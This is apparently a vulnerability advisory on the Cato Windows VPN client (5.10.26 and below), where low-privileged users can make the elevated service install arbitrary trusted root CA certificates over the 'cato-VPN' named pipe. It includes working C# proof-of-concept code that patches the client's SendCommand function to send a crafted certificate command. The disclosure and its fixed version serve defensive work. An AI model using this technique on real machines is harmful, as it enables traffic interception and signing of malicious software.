Cato Client - Local Privilege Escalation via OpenSSL Configuration File (CVE-2024-6975)
The OpenSSL implementation in the winvpnclient.cli.exe service executable is configured to load an openssl.cnf file from a location that does not …
Read ArticleThe Cato Client allows a low-privileged, local user to install arbitrary Root CA Certificates in the computer’s certificate store.
A low-privileged attacker (either a malicious user, or a compromised user), could exploit this issue to install their own trusted CA certificate in the computer’s certificate store. By adding their own trusted certificate, this could allow an attacker to perform traffic interception and decryption, or potentially modify updates by signing their own malicious executables.
Windows Client version 5.10.26, and below.
An IPC call from the CatoClient.exe
process to the high privileged winvpnclient.cli.exe
service process could be used by a low privileged user to install a trusted root certificate authority in the machine account’s certificate store. Being able to install a trusted root certificate to the machine store as a low privileged account means that the owner of the certificate is trusted by the machine for whatever purposes that the certificate claims to be eligible for, for example server verification or code signing.
Client to server IPC calls are handled by the CatoNetworks.ServiceCommunication
class in the CatoCommon.dll
.NET assembly (previously the CatoNetworks.Model.ServiceCommunication
class in CatoClient.exe
for earlier versions), which serialises various pre-defined objects using ProtoBuf and sends them to the service over a named pipe (named cato-VPN
).
The SendManageCertificate
function from the client is shown below and can be seen to receive a file path before constructing a clientToService
object that is serialised and sent to the service. There did not appear to be any standard part of the user interface that resulted in this function being called.
public void SendManageCertificate(string filePath, bool Install = true, string certificateName = "Cato Networks CA")
{
ClientToService clientToService = this.CreateBasicMessage(ClientToService.Types.Commands.Certificate);
clientToService.Certificate = new C2sCertificate();
if (Install)
{
clientToService.Certificate.Action = CertificateActions.Add;
clientToService.Certificate.Filename = filePath;
}
else
{
clientToService.Certificate.Action = CertificateActions.Delete;
clientToService.Certificate.CertificateName = certificateName;
}
this.SendCommand(clientToService);
}
By making a modification to the SendCommand(ClientToService)
function, it was possible to force the client to send the Certificate command with an arbitrary file path:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO.Pipes;
using System.Runtime.CompilerServices;
using System.Threading;
using System.Threading.Tasks;
using System.Timers;
using System.Windows.Forms;
using Google.Protobuf;
namespace CatoNetworks.Model
{
// Token: 0x02000150 RID: 336
public partial class ServiceCommunication : IServiceCommunication
{
// Token: 0x06000CDE RID: 3294 RVA: 0x0003F4AC File Offset: 0x0003D6AC
public bool SendCommand(ClientToService protobufMsg)
{
string str = ServiceCommunication.ClientMessageToStringCensored(protobufMsg);
bool condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceInfo;
if (protobufMsg.Cmd == ClientToService.Types.Commands.QueryVpnstate)
{
condition = ServiceCommunication.m_TraceSwitchServiceCommunication.TraceVerbose;
}
Log.WriteLineIf(condition, "Sending " + str);
ClientToService clientToService = this.CreateBasicMessage(ClientToService.Types.Commands.Certificate);
clientToService.Certificate = new C2sCertificate();
clientToService.Certificate.Action = CertificateActions.Add;
clientToService.Certificate.Filename = "C:\\programdata\\myCA.pem";
byte[] data = clientToService.ToByteArray();
this.SendCommand(data);
return this.SendCommand(protobufMsg.ToByteArray());
}
}
}
Debugging the code at runtime showed that this resulted in the following Protobuf message being sent to the server.
{{ "timestamp": "1714034273364", "cmd": "Certificate", "certificate": { "filename": "C:\\programdata\\myCA.pem" } }}
The logs associated with the service showed that the message was received:
[logClientToServiceMessage : 129] [:] [:] [ :] Received from (0:0,0,): msg 'timestamp: 1714034273364 cmd: Certificate certificate { filename: "C:\\programdata\\myCA.pem" } '
Inspecting the service binary in Ghidra shows a certutil
command being dynamically constructed using the supplied path name. It should be noted that validation is performed on the input to prevent command injection.
Running SysInternals Process Monitor allowed the resulting command, being run with elevated privileges:
The certutil
command resulted in the certificate being added to the Local Computer Trusted Root Certification Authorities store - a process that would usually require administrative permissions.
To demonstrate the impact of this, the screenshot below shows the newly installed certificate authority being used to generate a certificate to validate the legitimacy of a TLS connection to www.google.com
.
Installing a malicious root CA certificate could facilitate additional attacks, such as:
Install version 5.10.34, or later.
The OpenSSL implementation in the winvpnclient.cli.exe service executable is configured to load an openssl.cnf file from a location that does not …
Read ArticleThe Cato Client was found to use an insecure temporary folder for downloading and processing updates.
Read Article